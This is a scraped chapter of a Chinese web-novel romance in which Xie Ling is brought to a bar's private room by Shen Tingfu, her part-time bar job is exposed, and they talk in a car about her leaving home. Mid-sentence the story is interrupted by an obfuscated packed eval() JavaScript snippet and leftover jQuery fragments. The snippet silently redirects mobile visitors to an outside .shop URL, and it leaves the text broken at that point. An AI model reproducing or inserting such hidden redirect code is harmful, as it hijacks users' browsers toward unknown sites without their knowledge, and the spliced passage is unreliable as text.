文趣网 > 其他小说 > 赐教 > 5. 赐教
    第5章

    谢泠被沈廷复带到了308包厢。

    包厢里灯光昏暗,谢泠低着头跟在沈廷复的身后,余光看见沙发上不羁地坐着几个身影。看见沈廷复带人进来,都不由自主地坐直了身子。

    “哟,沈少爷出去一趟,怎么还带回来一个人?”口哨声在包厢里响起,谢泠察觉到那人目光,却不带任何恶意,似乎只是打量。

    “一个小朋友。”沈廷复从谢泠肩膀上见过背包,手上沉甸甸的重量让他诧异地看了谢泠一眼。

    “里面装的什么?”沈廷复问。

    谢泠有些怯懦地低着头,声音也很小,险些要被包厢里的音乐声盖过去:“英语词典。”

    沈廷复并没有打开背包看,只是似笑非笑地挑起了眉,把背包放在靠门边的沙发上:“好学生,乖宝宝。”

    谢泠没有搭话,只是紧张地咬了咬嘴唇。

    包厢里还有几位服务生,散乱地坐在沙发上,有一个甚至已经跨坐在了男人的腿上,手上握着高脚杯,嘴巴亮晶晶的。

    谢泠不敢多看,跟屁虫一样跟在沈廷复的身后。沈廷复停下脚步,她来不及反应,额头就直挺挺地撞上他的肩膀。

    谢泠捂着撞红的额头抬头,对上沈廷复无奈中带着笑意的眼神。

    “坐这儿,”沈廷复用脚踢了踢单人沙发上坐着的男人,把他赶走,“等我几分钟。”

    被赶走的男人委屈巴巴地看向沈廷复,明明是一副糙汉模样,把沈廷复恶心得够呛。

    “真是有了新欢就忘了兄弟。”李昊庭饶有兴致地看着沈廷复把茶几上唯一一瓶不含酒精的饮料打开递给谢泠,“这不会就是谢家那个私生女吧?”

    谢泠闻言,后背绷紧了一瞬。

    这样的话,她在谢嘉松的聚会上听过无数次。每次只要谢嘉松想要以她为乐,他的那些狐朋狗友就会用这句话开头。

    久而久之,谢泠的身体对这句话已经产生了习惯性的防御。

    沈廷复只是淡淡地收回了视线,他手背的关节处因为刚才出拳磨蹭得有些发红,在昏暗的包厢灯光下,蒙上一层墨色。

    “嗯,谢嘉松的妹妹。”

    李昊庭仿佛只想要一个答案,视线很轻掠过谢泠的眉眼:“谢高逸能生出这么好看的女儿?”

    这句玩笑似的话让谢泠的肩膀轻轻地塌了下来,她听见耳边传来沈廷复很轻的笑声:“谢总年轻时也是吉泽市有名的帅哥。”

    李昊庭耸了耸肩,表示自己孤陋寡闻:“好吧,我现在记忆里只有他腆挺着啤酒肚的样子了。”

    沈廷复在离谢泠不远处坐下,他侧身时,淡薄的酒气会顺着呼吸飘过来,明明是同样让人难以忍受的味道,谢泠却慢慢地放松了屏住的呼吸。

    “不是在朋友家,”沈廷复问,“怎么来酒吧了?”

    谢泠不常说谎,谁知道刚对沈廷复打了个无伤大雅的小谎转头就被戳穿了。

    她头压得更低了,根本不敢对上沈廷复的视线:“呃……陪朋友过来玩一下,我等会就回去了。”

    李昊庭在旁边看得直乐:“你们这是什么爸爸查岗女儿的家庭小剧场。”

    沈廷复长腿一伸,直接蹬在了李昊庭的膝盖上,一脚给他踹静音了。

    “不会说话就闭嘴。”

    谢泠不敢插话,手里握着沈廷复递给她的无酒精饮料。从冰箱里拿出来的罐头外壁没一会儿就渗出了细密的水珠,谢泠手心里一片湿腻,指缝间亮盈盈的。

    几分钟后,三楼的主管经理推开包厢门匆匆地走了进来。

    看见在长沙发角落里慵懒坐着的沈廷复,挺了一辈子的腰杆轻松地就弯了下去:“沈总,您要的监控录像已经调出来了。”

    经理把U盘递到沈廷复面前,他还没有看里面的内容,余光扫到坐在旁边的谢泠时,惊讶得以一个怪异扭曲的姿势抬起了头。

    沈廷复注意到他的异常,视线从谢泠身上扫过:“孟经理认识谢小姐?”

    孟经理点点头又摇摇头,犹豫地看了谢泠一眼,对上后者带着些哀求的视线,不确定自己到底要怎么回答。

    “不认识?”沈廷复手里的U盘在茶几上敲出清脆的声响,吓得孟经理肩膀一颤。

    孟经理头一低,把什么都说了:“我真不知道谢泠是您认识的人,她就在酒吧一楼送送酒,绝对没有强迫她干过别的事情!”

    谢泠脑袋一懵,脸上的表情有片刻的空白。

    沈廷复含笑地看着她,挥挥手让孟经理出去了。

    “陪朋友来玩?等会就回家?”

    谢泠只觉得自己今天实在是不走运,每次撒谎都立马被抓包,还全是在同一个人面前。

    她甚至不敢抬起头,也不知道沈廷复是以一副什么样的表情在看她的。

    她还没来得及开口,那边李昊庭却恍然大悟地“啊”了一声:“我就说看你有点眼熟,上次在一楼有个服务员被打了,好像也是你打了闹事的人一巴掌吧。”

    李昊庭的语气明明带着询问的意味,却让谢泠整张脸都涨红了。

    “我……我也没有打他一巴掌,”谢泠眼睛看向沈廷复,身后显示屏的灯光映在她的瞳孔里,像是有一场流星划过,“我就是想把他推开。”

    李昊庭看热闹不嫌事大:“那你力气还蛮大的哦。”

    谢泠说不出话来。

    “东西拿到了,我们就先走了。”沈廷复往李昊庭怀里丢了张卡,“今天费用从我的卡里刷。”

    李昊庭刚想闹,就被沈廷复一张卡给堵住了嘴。

    他视线不断流连在沈廷复和谢泠中间,最后露出一个了然的笑:“哦~那我等会要点几瓶贵的酒,在场的都见者有份。”

    其余人大气都不敢出,恨不得捂住李昊庭的嘴让他别再说话了。

    沈廷复对此无所谓,他卡已经丢给李昊庭了:“随你。”

    说完,沈廷复回头看到谢泠亦步亦趋地跟在他身后,像是踩着家长脚印学步的小孩儿。

    他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17663007|207217||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    眼底的情绪柔和了一秒,弯腰拎起沙发上的包,沉甸甸的重量让他忍俊不禁。

    “走吧。”沈廷复拉开包厢的门,昏黄的光线扑满了进来,落在两人的脚下。

    酒吧安排的代驾已经在楼下等着了,等谢泠和沈廷复在后座坐稳,车子就平稳地驶入了夜晚的车流。

    轿车后座空间并不宽敞,谢泠已经很努力地把自己缩在车窗下的空间里,但她还是能够感觉到从沈廷复身上散发出来的炙热的气息。

    沈廷复就没她那么拘谨,既然谢泠把大部分的位置空了出来,他大马金刀地坐在她身边,膝盖随着车辆的晃动会很轻地撞在谢泠的腿侧,稍纵即逝。

    炽热的盛夏夜,出风口的冷风吹得谢泠的胳膊一片冰凉,可右膝处的皮肤却着火般的滚烫。

    “谢家给你的生活费不够,还需要你来酒吧打工。”沈廷复懒懒地开口,窗外的霓虹灯被拖成一条条绚烂的光带,车窗玻璃上倒映着少女模糊的侧影。

    沈廷复说完才意识到自己几乎是说了句废话。

    谢家和钟家是联姻,钟佳惜性子烈,为了谢高逸装得柔情似水,实际上是个掌控欲很强的人。谢高逸年轻的时候又爱玩,钟佳惜发现他偷吃后在家里闹过几次自杀,处理了好几个外面的女人,没想到还能留下一个谢泠。

    豪门主母的位置让她只能假装大度,但实际上谢泠过的是什么日子大家都心知肚明。

    光是从谢嘉松在外对谢泠的态度就能够看出来,圈子里都知道谢家不看重谢泠,甚至都将她当成无聊时的一个乐子。

    或许是升起挡板后足够幽闭昏暗的小空间,又或许是沈廷复表现出来的不在意让谢泠不再过分紧张自己的身份。

    她侧头看向车窗外,视线小心翼翼地避开了沈廷复的影子。

    “够吧,”谢泠并不偏颇,“至少在我成年前,我在谢家过得并不算很差。”

    沈廷复侧头看向她,女孩儿的轮廓在阴影里看不太清,偶尔闪过的一道光线打在她高挺的鼻梁上。她说这句话的时候神情很平静,似乎是真心认为在谢家的生活还不错,纤长卷翘的睫毛轻颤,像是扇动的蝴蝶翅膀。

    谢泠的声音在车厢里显得轻柔空灵,那些只有在深夜空无一人时才会冒出来的想法盘旋在脑海里。

    “但我需要更多的钱,”谢泠说,“离开谢家、读大学、拥有自己的生活。”

    少女说这话的时候,眼底闪着坚毅的光。

    沈廷复定定地看着她,单薄削痩的肩胛骨顶起T恤,像一棵永远不会被压断的竹子。

    “挺好的,”沈廷复眼底的笑真诚了几分,“谢家也没什么好的,能走就走远点。”

    谢泠察觉到他话语里的情绪,疑惑地看向他,却只能看到沈廷复已经摆正的侧脸。

    脱离了需要社交的环境,沈廷复脸上挂着的礼貌的笑容被他收了回去,绷直的嘴角微微向下压,透露出一股生人勿近的气息。

    谢泠却觉得,他身上的情绪是孤寂。